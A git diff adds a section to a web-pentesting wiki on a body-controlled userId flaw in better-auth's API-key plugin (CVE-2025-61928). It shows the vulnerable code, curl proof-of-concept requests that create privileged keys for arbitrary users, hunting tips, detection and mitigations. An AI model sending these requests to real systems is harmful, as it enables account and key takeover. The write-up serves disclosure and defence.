diff --git a/src/pentesting-web/login-bypass/README.md b/src/pentesting-web/login-bypass/README.md
index d6d2ce204b4..005e056dc67 100644
--- a/src/pentesting-web/login-bypass/README.md
+++ b/src/pentesting-web/login-bypass/README.md
@@ -97,6 +97,69 @@ Pages usually redirects users after login, check if you can alter that redirect
 
 
 
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+## Body-controlled identity (userId in body) → Pre-auth account/key takeover
+
+A common auth logic flaw in JSON APIs is to derive the authenticated subject from a client-controlled identifier in the request body (e.g., userId), effectively disabling auth when that field is present. Example pattern seen in the wild:
+
+```ts
+const authRequired = (ctx.request || ctx.headers) && !ctx.body.userId;
+const user = session?.user ?? (authRequired ? null : { id: ctx.body.userId });
+```
+
+Why it’s broken
+- In normal requests `(ctx.request || ctx.headers)` is truthy, so providing `userId` makes `authRequired === false`.
+- If there is no valid session, the handler fabricates `user = { id: ctx.body.userId }` from attacker input and proceeds as if authenticated.
+- Server-only validation/authorization branches are skipped, letting clients set privileged fields.
+
+Real-world impact (better-auth API keys plugin)
+- Affected routes: `/api/auth/api-key/create` and `/api/auth/api-key/update` accepted an attacker-supplied `userId` and skipped auth.
+- Attacker could mint or modify API keys for arbitrary users, and set privileged fields like `permissions`, `rateLimitMax`, `refillAmount`, `remaining`.
+
+Minimal PoC (no session/cookies required)
+```bash
+curl -X POST http://localhost:3000/api/auth/api-key/create \
+  -H 'Content-Type: application/json' \
+  -d '{
+    "userId": "victim-user-id",
+    "name": "test"
+  }'
+```
+
+Privilege-shaped PoC
+```bash
+curl -X POST http://localhost:3000/api/auth/api-key/create \
+  -H 'Content-Type: application/json' \
+  -d '{
+    "userId": "victim-user-id",
+    "name": "ops-key",
+    "permissions": ["*"],
+    "rateLimitMax": 1000000,
+    "refillAmount": 1000000,
+    "remaining": null
+  }'
+```
+
+Hunting tips
+- Grep for handlers that build identity from request JSON: `body.userId`, `body.accountId`, `body.username` used to set `req.user`, `ctx.user`, etc.
+- Look for ternaries/branches where the existence of a body field disables auth, e.g., `authRequired = ... && !body.userId`.
+- Review create/update endpoints for “server-only” fields accepted in unauthenticated paths (permissions, roles, rate limits, quotas, ownership fields).
+
+Detection/forensics
+- Search logs and reverse-proxy telemetry for unauthenticated POSTs to key-management endpoints where bodies contain `userId` and privileged fields.
+- Flag responses that include credentials (e.g., returned `key`) without an accompanying valid session cookie/token.
+- Correlate suspicious key creations/updates with subsequent API usage from unfamiliar IPs/agents.
+
+Mitigations
+- Never derive identity from client-controlled body fields. Treat `userId` as server-only.
+- Require an authenticated server-side session/credential for any key or account management.
+- Centralize authorization checks (RBAC/ABAC) and reject privileged fields from unauthenticated contexts.
+- If using better-auth, upgrade to >= 1.3.26 and rotate/review keys created during the exposure window.
+
+## References
 
+- [Critical Account Takeover via Unauthenticated API Key Creation in better-auth (CVE-2025-61928)](https://zeropath.com/blog/breaking-authentication-unauthenticated-api-key-creation-in-better-auth-cve-2025-61928)
+- [better-auth NPM Package](https://www.npmjs.com/package/better-auth)
+- [GHSA-99h5-pjcv-gr6v advisory](https://github.com/better-auth/better-auth/security/advisories/GHSA-99h5-pjcv-gr6v)
+- [API keys plugin introduction PR #1515](https://github.com/better-auth/better-auth/pull/1515)
 
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